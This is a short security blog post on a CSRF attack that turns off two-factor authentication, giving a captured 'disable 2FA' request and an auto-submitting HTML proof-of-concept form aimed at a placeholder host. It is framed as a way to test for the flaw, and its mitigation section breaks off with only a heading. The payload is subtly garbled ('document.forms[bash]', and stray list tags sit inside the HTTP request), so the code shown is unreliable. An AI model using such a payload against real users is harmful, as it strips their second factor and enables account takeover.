CSRF Attack Exploiting 2FA Disablement Leading to Account Takeover

Listen to this Post

Featured Image
Cross-Site Request Forgery (CSRF) vulnerabilities can allow attackers to disable Two-Factor Authentication (2FA) on a victim’s account, leading to potential account takeover. Below is a detailed breakdown of how this attack works and how to mitigate it.

You Should Know:

1. Understanding the CSRF Attack on 2FA

  • Attack Scenario:
  • Victim (Account A) has 2FA enabled.
  • Attacker crafts a malicious CSRF payload to disable 2FA.
  • Victim clicks the malicious link while authenticated, disabling their 2FA unknowingly.

2. Steps to Exploit CSRF on 2FA Disablement

  1. Enable 2FA on a Test Account (Account A).
  2. Intercept the “Disable 2FA” Request in Burp Suite:
    POST /disable_2fa HTTP/1.1 
    Host: vulnerable.com 
    Cookie: session=VALID_SESSION 
    Content-Type: application/x-www-form-urlencoded </li>
    </ol>
    
    confirm=disable
    

    3. Generate a CSRF PoC Using Burp Suite’s Engagement Tool:
    – Right-click the request → Engagement tools → Generate CSRF PoC.
    – Modify the HTML to auto-submit:

    <html>
    <body>
    
    <form action="https://vulnerable.com/disable_2fa" method="POST">
    <input type="hidden" name="confirm" value="disable" />
    </form>
    
    <script>document.forms[bash].submit();</script>
    </body>
    </html>
    

    4. Test on Account A:

    • If 2FA is disabled without user confirmation, the vulnerability exists.

    5. Verify on Account B:

    • If the same exploit works, the issue is widespread.

    3. Mitigation Techniques